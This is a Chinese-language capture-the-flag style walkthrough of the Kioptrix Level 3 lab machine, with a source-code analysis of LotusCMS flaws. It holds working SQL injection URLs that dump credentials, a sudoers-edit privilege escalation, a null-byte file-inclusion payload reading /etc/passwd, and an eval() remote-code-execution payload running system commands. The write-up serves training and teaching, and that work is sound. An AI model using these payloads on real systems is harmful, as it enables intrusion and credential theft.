vulnhub KioptrixVM3 靶場練習&LotusCMS漏洞分析

前言

這次練習的靶機是vulnhub平臺下KiptrixVM3，下載地址為https://www.vulnhub.com/entry/kioptrix-level-12-3,24/，該靶機漏洞較多，獲取shell的方法多種多樣，相對來說比較簡單的一種方法就是通過SQL注入獲取賬號和密碼，然后用這些賬號密碼嘗試ssh登陸靶機，本次對靶機的滲透采用的就是SQL注入的方法，SQL注入的原理比較簡單，這里就不做過多的介紹，我會在后面重點分析檔案包含和遠程代碼執行漏洞，

該靶機匯入VMware不會分配到IP地址，因為該靶機網路配置是VirtualBox中配置好的，如果你用的正好是VMware虛擬機，你就要手動修改一下網路組態檔，修改方法在我之前的博客中已經講解：https://blog.csdn.net/rpsate/article/details/119494515#t2

收集資訊

arp-scan -l

arp-scan 該工具是使用ARP協議進行掃描，ARP協議掃描速度快，而且不會被防火墻攔截，但是只能掃描同一網段內的目標，

-l 該引數代表從本地網路組態檔中讀取IP與掩碼，通過IP地址和掩碼生成掃描目標地址串列，即本機同網段地址，

通過掃描發現靶機的Ip地址為192.168.119.179,然后對靶機進一步掃描，

nmap -A -sV -p- 192.168.119.179

-A 代表綜合性掃描，能收集很多重要的資訊，

-sV 代表掃描主要的服務資訊，

-p- 引數p是指定埠，后面的-代表所有埠，

開放了80埠與22埠，22埠可以嘗試暴力破解，但是直接爆破的成功率不大，從80埠的web端開始滲透成功的可能性大很多，下面就用瀏覽器打開該網站，

發現了該網站是使用的CMS是lotusCMS，接下來可以搜索一下該CMS的漏洞，你會很快找到該靶機的突破口，我們在看看有沒有其他的漏洞，還是重點關注可以互動資料的地方，

SQL注入

通過尋找并多次測驗，在下面這個頁面發現了一句SQL查詢陳述句，這個作者太有意思了，作者竟然這么明顯的提示我們這里有SQL注入！

gallery/gallery.php?id=1

在左下角選擇框里可以選擇Photo Id，然后再URL欄就會出現一個Id的引數，該處就是SQL注入點了，我們可以在此引數中加一個單引號使其報錯來驗證該處存在SQL注入，

經過多次測驗，SQL注入聯合插線的陳述句如下，該陳述句可以查出當前使用的資料庫名稱，

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,database(),null,null,null-- -&sort=photoid#photos

注意：select查詢需要六個列，查詢資料放在第一個列則資料不會完全顯示，聯合因為這要與前面的SQL陳述句對應，

如果看不懂SQL注入的代碼，建議先學習SQL陳述句并完成sql-lab靶場，

下面查詢一下gallery中庫中有哪一些表，

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema='gallery'),null,null,null-- -&sort=photoid#photos

一共查出了七個表，重點查詢具有賬號的表dev_accounts和gallarific_users，

首先查詢一下該表dev_accounts中有哪些列名,另一個表的查詢方法類似，

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),null,null,null-- -&sort=photoid#photos

發現了用戶名與密碼列，這個應該就是我們要找的表了，查詢一下該該表中的詳細資訊，

http://kioptrix3.com/gallery/gallery.php?id=1 union select null,null,(select group_concat(username,'~',password) from gallery.dev_accounts),null,null,null-- -&sort=photoid#photos

查詢到了兩個賬號和它們對應密碼的MD5加密密文：dregs:0d3eccfb887aabd50f243b3f155c0f85和loneferret:5badcaf789d3d1d09794d8f021f40f0e，應為該密碼比較簡單，所以在解密網站上可以迅速破譯出該密文：dregs:Mast3r,loneferret:starwars，

SSH登陸并提權

嘗試使用剛剛破解的賬號密碼登陸ssh，經過測驗發現loneferret:starwars是可以登陸ssh，

ssh loneferret@192.168.119.179

獲取shell之后要做的就是提權，常見的提權方法有suid提權，sudo提權，內核提權，嘗試一下這幾種方法：

sudo -l

其中!/usr/bin/su執行不了，沒有這個檔案，也不能創建這個檔案，因為權限不足，但是/usr/local/bin/ht是可以執行的，這是一個編輯器，而且是一個可以以root權限運行的編輯器，所以我們可以用這個編輯器修改/usr/passwd或/etc/sudoers檔案來提權，修改/usr/passwd的方式在前面的博客中已經講過兩次了，這次就來嘗試一下修改/etc/sudoers檔案來提權，

當用戶執行sudo命令時，系統會到/etc/sudoers檔案中尋找相關資訊來判斷該用戶是否具有執行sudo的權限，所以我們修改sudoers檔案，試用戶loneferret具有使用sudo執行/bin/bash的權限，以達到提權的目的，

sudo /usr/local/bin/ht

按F3，然后輸入/etc/sudoers打開該組態檔，看一看root用戶的配置，依葫蘆畫瓢，

ALL=(ALL) ALL，其中三個ALL的含義不同，其含義如下：

其中第一個ALL代表允許所有主機來源執行sudo，例如只允許該用戶在本地執行sudo可以將ALL改成localhost，

第二種ALL代表該用戶可以用任何用戶的身份執行sudo，

第三個ALL代表該用戶可以執行任何命令

有一些檔案中會這么寫：ALL=(ALL:ALL) ALL，括號中第二個ALL代表任何用戶組，

修改完成后按F2保存，然后按ctrl+c退出，然后以root權限執行/bin/bash即可提權，

sudo /bin/bash

提權成功！但是到這里還沒有結束，因為該靶機中還有一些值得研究的漏洞沒有探索，接下來我們將詳細學習另外幾個漏洞，

檔案包含漏洞分析

如果要手動找到這個漏洞是比較困難的，但是用漏洞掃描器很快就可以找到這個漏洞 ,其利用地址如下：

http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a

要注意的是在檔案名后需要加上 %00來階段后面的字符，并且在%00后面須有加上任意字符，如果%00后面沒有字符的話，%00也將會在提交時被忽略掉，這個就叫00階段，在檔案上傳中也經常用到，

下面我們來分析一下這個個漏洞，查看index.php的原始碼，發現其主要功能是在core/lib/router.php中，

<?php
/**
 *
 * GPL v4 
 * LotusCMS 2010.
 *
 * Written by Kevin Bluett
 *
 */
//Start the session.
session_start();

//Failsafe to install
if(file_exists("install.php")){
	header("Location: install.php");	
}

//Load up the routing system
require("core/lib/router.php");

//Route the page request to the specified system, eg. Page retrieval, administration or essentially anything.
new Router();

?>

繼續查看core/lib/router.php的原始碼：

<?php
/**
 * GPL v4 
 * LotusCMS 2010.
 * Written by Kevin Bluett
 * This Class routes any request from an external source into the LotusCMS systems.
 */
class Router{
	
	/**
	 * This routes any request from get variables into the LotusCMS system.
	 */
	public function Router(){
		//Get page request (if any)
		$page = $this->getInputString("page", "index");
		
		//Get plugin request (if any)
		$plugin = $this->getInputString("system", "Page");
		
		//If there is a request for a plugin

        if(file_exists("core/plugs/".$plugin."Starter.php")){
			//Include Page fetcher
			include("core/plugs/".$plugin."Starter.php");

			//Fetch the page and get over loading cache etc...
            //die("new ".$plugin."Starter('".$page."');");
			eval("new ".$plugin."Starter('".$page."');");
			
		}else if(file_exists("data/modules/".$plugin."/starter.dat")){
			//Include Module Fetching System
			include("core/lib/ModuleLoader.php");
			
			//Load Module
			new ModuleLoader($plugin, $this->getInputString("page", null));
		}else{ //Otherwise load a page from the standard system.
			//Include Page fetcher
			include("core/plugs/PageStarter.php");
			
			//Fetch the page and get over loading cache etc...
			new PageStarter($page);
		}
	}
	
	/**
	 * Returns a global variable
	 */
	protected function getInputString($name, $default_value = "", $format = "GPCS")
	{
		//order of retrieve default GPCS (get, post, cookie, session);
		$format_defines = array (
		'G'=>'_GET',
		'P'=>'_POST',
		'C'=>'_COOKIE',
		'S'=>'_SESSION',
		'R'=>'_REQUEST',
		'F'=>'_FILES',
		);
		preg_match_all("/[G|P|C|S|R|F]/", $format, $matches); //splitting to globals order
		foreach ($matches[0] as $k=>$glb)
		{
		    if ( isset ($GLOBALS[$format_defines[$glb]][$name]))
		    {   
			return htmlentities ( trim ( $GLOBALS[$format_defines[$glb]][$name] ) , ENT_NOQUOTES ) ;
		    }
		}
		return $default_value;
	} 

}

?>

該檔案一開始就會執行 getInputString($name, $default_value = "", $format = "GPCS")函式，該函式在檔案的47到67行，其主要功能是獲取引數$name的值，其獲取的方式按順序為GET，POST，COOKIE，SESSION，如果能通過其中的一種方式獲取到該引數的值，那么就不會嘗試后面的方法，如果這四種方法都沒有獲取到值則回傳默認值$default_value，

例如檔案中的 $this->getInputString("page", "index")，該函式嘗試獲取$_GET['page']的值，如果沒有則嘗試獲取$_POST['page']的值，依此類推，如果所有方式都沒有獲取到值，則回傳第二個引數 index，

在知道了這個函式的作用后，繼續查看代碼中哪里的檔案參考引數可控，在第24行發現如下代碼：

include("core/plugs/".$plugin."Starter.php");

該陳述句的作用是參考檔案，其中$plugin可控，然后再查看如何改變$plugin的值，在該檔案的18行發現如下代碼：

$plugin = $this->getInputString("system", "Page");

變數$plugin的值是由getInputStrings()函式控制，我們在前面已經分析了該函式，該函式的回傳值可以通過GET提交資料來改變，也就是我們通過GET的方式提交system引數即可改變$plugin的值，例如下面URL：

http://192.168.119.179/index.php?system=../../../../../etc/passwd

在訪問該URL后，檔案參考為 core/plugs/../../../../../etc/passwdStarter.php，很明顯參考的檔案發生改變了，但是passwdStarter.php是不存在的，我們需要想辦法讓后面的字符Starter.php去掉，這時候就需要用到00截斷了，

因為%00是結束的標志，當php讀取到該標志時就會認為該字串結束，后面的資料就會被直接忽略，

00截斷利用條件：PHP<5.3.29，magic_quotes_gpc為OFF狀態，

所以訪問如下URL就會成功讀取系統檔案，

http://192.168.119.179/index.php?system=../../../../../etc/passwd%00a

遠程代碼執行漏洞分析

該漏洞與檔案包含漏洞出現在同一個檔案中，我們繼續看core/lib/router.php中的代碼，看到22到29行：

        if(file_exists("core/plugs/".$plugin."Starter.php")){
			//Include Page fetcher
			include("core/plugs/".$plugin."Starter.php");

			//Fetch the page and get over loading cache etc...
			eval("new ".$plugin."Starter('".$page."');");
			
		}

其中eval()函式就是執行代碼的函式，其中$plugin和$page可控，但在在22行中$plugin作為入口條件引數，只有讓檔案"core/plugs/".$plugin."Starter.php"存在才會執行eval()函式，所以我們只可以修改$page來執行命令，$page和$plugin一樣，都可以通過GET的方式來改變，輸入如下URL：

http://192.168.119.179/index.php?page='.phpinfo().'

提交如上URL后，$page就會等于'.phpinfo().',所以eval()執行的代碼如下：

new PageStarter(''.phpinfo().'');

因為$plugin沒有執行，所以默認為Page，所以執行的就是PageStarter()，

該陳述句會首先執行phpinfo()然后與前后的’'拼接，然后再執行new PageStarter(拼接后的內容)，這樣就導致了我們可以通過修改page引數來執行任意命令，我們還可以執行系統命令：

http://192.168.119.179/index.php?page='.system('id').'

總結

分析到此結束了，大家可以動手嘗試利用這兩個漏洞，通過遠程代碼執行可以獲取shell，然后通過查看組態檔獲取資料庫的賬號密碼，此靶機中檔案包含漏洞不能包含日志檔案，所以不能通過包含日志檔案來獲取shell，但是可以將此網站部署到自己的網站環境中嘗試獲取shell，

參考文獻

[1] http://chenall.net/post/linux-sudo-config/，linux sudo 命令和組態檔/etc/sudoers介紹

[2] https://blog.csdn.net/weixin_39620653/article/details/115144656，php 00截斷,00截斷之追本溯源

[3] https://blog.csdn.net/heli200482128/article/details/77833881，sudo組態檔/etc/sudoers詳解及實戰用法